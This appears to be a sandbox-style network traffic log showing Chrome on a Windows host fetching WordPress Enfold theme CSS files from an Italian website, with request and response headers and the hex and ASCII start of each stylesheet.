
Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:15 UTC	632	OUT	GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/iconbox/iconbox.css?ver=6.0.9 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 12:19:15 UTC	292	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:15 GMT Content-Type: text/css Content-Length: 3132 Connection: close Vary: Accept-Encoding Last-Modified: Mon, 18 Mar 2019 15:16:30 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:15 UTC	3132	IN	Data Raw: 2f 2a 20 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 0a 49 43 4f 4e 42 4f 58 0a 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d Data Ascii: /* ======================================================================================================================================================ICONBOX=============================================================================================

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.16	49744	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:15 UTC	634	OUT	GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/icongrid/icongrid.css?ver=6.0.9 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 12:19:15 UTC	293	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:15 GMT Content-Type: text/css Content-Length: 14691 Connection: close Vary: Accept-Encoding Last-Modified: Mon, 18 Mar 2019 15:16:30 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:15 UTC	14691	IN	Data Raw: 2f 2a 20 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 0a 49 43 4f 4e 47 52 49 44 0a 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d Data Ascii: /* ======================================================================================================================================================ICONGRID============================================================================================

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.16	49746	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:15 UTC	634	OUT	GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/iconlist/iconlist.css?ver=6.0.9 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 12:19:16 UTC	292	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:16 GMT Content-Type: text/css Content-Length: 3712 Connection: close Vary: Accept-Encoding Last-Modified: Mon, 18 Mar 2019 15:16:31 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:16 UTC	3712	IN	Data Raw: 2f 2a 20 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 0a 49 43 4f 4e 4c 49 53 54 0a 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d Data Ascii: /* ======================================================================================================================================================ICONLIST============================================================================================

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.16	49745	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:15 UTC	628	OUT	GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/image/image.css?ver=6.0.9 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 12:19:16 UTC	292	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:16 GMT Content-Type: text/css Content-Length: 5506 Connection: close Vary: Accept-Encoding Last-Modified: Mon, 18 Mar 2019 15:16:31 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:16 UTC	5506	IN	Data Raw: 2f 2a 20 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 0a 49 6d 61 67 65 0a 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d Data Ascii: /* ======================================================================================================================================================Image===============================================================================================

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.16	49749	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:15 UTC	646	OUT	GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/image_hotspots/image_hotspots.css?ver=6.0.9 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 12:19:16 UTC	292	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:16 GMT Content-Type: text/css Content-Length: 4444 Connection: close Vary: Accept-Encoding Last-Modified: Mon, 18 Mar 2019 15:16:31 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:16 UTC	4444	IN	Data Raw: 2f 2a 20 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 0a 49 6d 61 67 65 20 77 69 74 68 20 48 6f 74 73 70 6f 74 73 0a 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d Data Ascii: /* ======================================================================================================================================================Image with Hotspots=================================================================================

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.16	49747	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:15 UTC	634	OUT	GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/magazine/magazine.css?ver=6.0.9 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 12:19:16 UTC	292	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:16 GMT Content-Type: text/css Content-Length: 3671 Connection: close Vary: Accept-Encoding Last-Modified: Mon, 18 Mar 2019 15:16:31 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:16 UTC	3671	IN	Data Raw: 2f 2a 20 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 0a 4d 61 67 61 7a 69 6e 65 0a 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d Data Ascii: /* ======================================================================================================================================================Magazine============================================================================================

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.16	49750	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:16 UTC	648	OUT	GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/masonry_entries/masonry_entries.css?ver=6.0.9 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 12:19:16 UTC	293	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:16 GMT Content-Type: text/css Content-Length: 17988 Connection: close Vary: Accept-Encoding Last-Modified: Mon, 18 Mar 2019 15:16:31 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:16 UTC	16091	IN	Data Raw: 2f 2a 20 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 0a 4d 61 73 6f 6e 72 79 20 47 72 69 64 0a 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d Data Ascii: /* ======================================================================================================================================================Masonry Grid========================================================================================
2025-01-09 12:19:16 UTC	1897	IN	Data Raw: 74 61 69 6e 65 72 7b 0a 2d 77 65 62 6b 69 74 2d 66 69 6c 74 65 72 3a 62 6c 75 72 28 30 70 78 29 3b 0a 09 09 66 69 6c 74 65 72 3a 62 6c 75 72 28 30 70 78 29 3b 0a 7d 0a 0a 23 74 6f 70 20 2e 61 76 2d 68 6f 76 65 72 2d 6f 76 65 72 6c 61 79 2d 62 6c 75 72 6f 6e 68 6f 76 65 72 20 2e 61 76 2d 6d 61 73 6f 6e 72 79 2d 65 6e 74 72 79 3a 68 6f 76 65 72 20 2e 61 76 2d 6d 61 73 6f 6e 72 79 2d 69 6d 61 67 65 2d 63 6f 6e 74 61 69 6e 65 72 7b 0a 2d 77 65 62 6b 69 74 2d 66 69 6c 74 65 72 3a 62 6c 75 72 28 31 30 70 78 29 3b 0a 09 09 66 69 6c 74 65 72 3a 62 6c 75 72 28 31 30 70 78 29 3b 0a 7d 0a 0a 0a 0a 0a 0a 0a 0a 0a 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 77 69 64 74 68 3a 20 31 38 30 30 70 78 29 7b 0a 20 2e 72 65 73 70 6f 6e Data Ascii: tainer{-webkit-filter:blur(0px);filter:blur(0px);}#top .av-hover-overlay-bluronhover .av-masonry-entry:hover .av-masonry-image-container{-webkit-filter:blur(10px);filter:blur(10px);}@media only screen and (min-width: 1800px){ .respon

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.16	49752	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:16 UTC	609	OUT	GET /wp-content/themes/enfold/css/avia-snippet-site-preloader.css?ver=6.0.9 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 12:19:16 UTC	292	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:16 GMT Content-Type: text/css Content-Length: 2178 Connection: close Vary: Accept-Encoding Last-Modified: Mon, 18 Mar 2019 15:16:34 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:16 UTC	2178	IN	Data Raw: 0a 2f 2a 73 69 74 65 20 70 72 65 6c 6f 61 64 65 72 3a 20 68 74 74 70 3a 2f 2f 70 72 6f 6a 65 63 74 73 2e 6c 75 6b 65 68 61 61 73 2e 6d 65 2f 63 73 73 2d 6c 6f 61 64 65 72 73 2f 20 2a 2f 0a 2e 61 76 2d 73 69 74 65 6c 6f 61 64 65 72 2d 77 72 61 70 7b 0a 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 0a 74 6f 70 3a 30 3b 0a 6c 65 66 74 3a 30 3b 0a 72 69 67 68 74 3a 30 3b 0a 62 6f 74 74 6f 6d 3a 30 3b 0a 77 69 64 74 68 3a 31 30 30 25 3b 0a 68 65 69 67 68 74 3a 31 30 30 25 3b 0a 7a 2d 69 6e 64 65 78 3a 20 31 30 30 30 30 30 30 3b 0a 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 3b 0a 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 0a 7d 0a 68 74 6d 6c 2e 61 76 2d 70 72 65 6c 6f 61 64 65 72 2d 61 63 74 69 76 65 7b 7d 0a 68 74 6d 6c 2e 61 76 2d 70 72 65 6c 6f 61 64 65 Data Ascii: /site preloader: http://projects.lukehaas.me/css-loaders/ /.av-siteloader-wrap{position: fixed;top:0;left:0;right:0;bottom:0;width:100%;height:100%;z-index: 1000000;background: #fff;display:none;}html.av-preloader-active{}html.av-preloade

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.16	49753	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:16 UTC	626	OUT	GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/menu/menu.css?ver=6.0.9 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 12:19:17 UTC	292	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:17 GMT Content-Type: text/css Content-Length: 4481 Connection: close Vary: Accept-Encoding Last-Modified: Mon, 18 Mar 2019 15:16:31 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:17 UTC	4481	IN	Data Raw: 2f 2a 20 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 0a 53 55 42 4d 45 4e 55 0a 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d Data Ascii: /* ======================================================================================================================================================SUBMENU=============================================================================================

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.16	49755	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:16 UTC	642	OUT	GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/notification/notification.css?ver=6.0.9 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 12:19:17 UTC	292	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:17 GMT Content-Type: text/css Content-Length: 2938 Connection: close Vary: Accept-Encoding Last-Modified: Mon, 18 Mar 2019 15:16:31 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
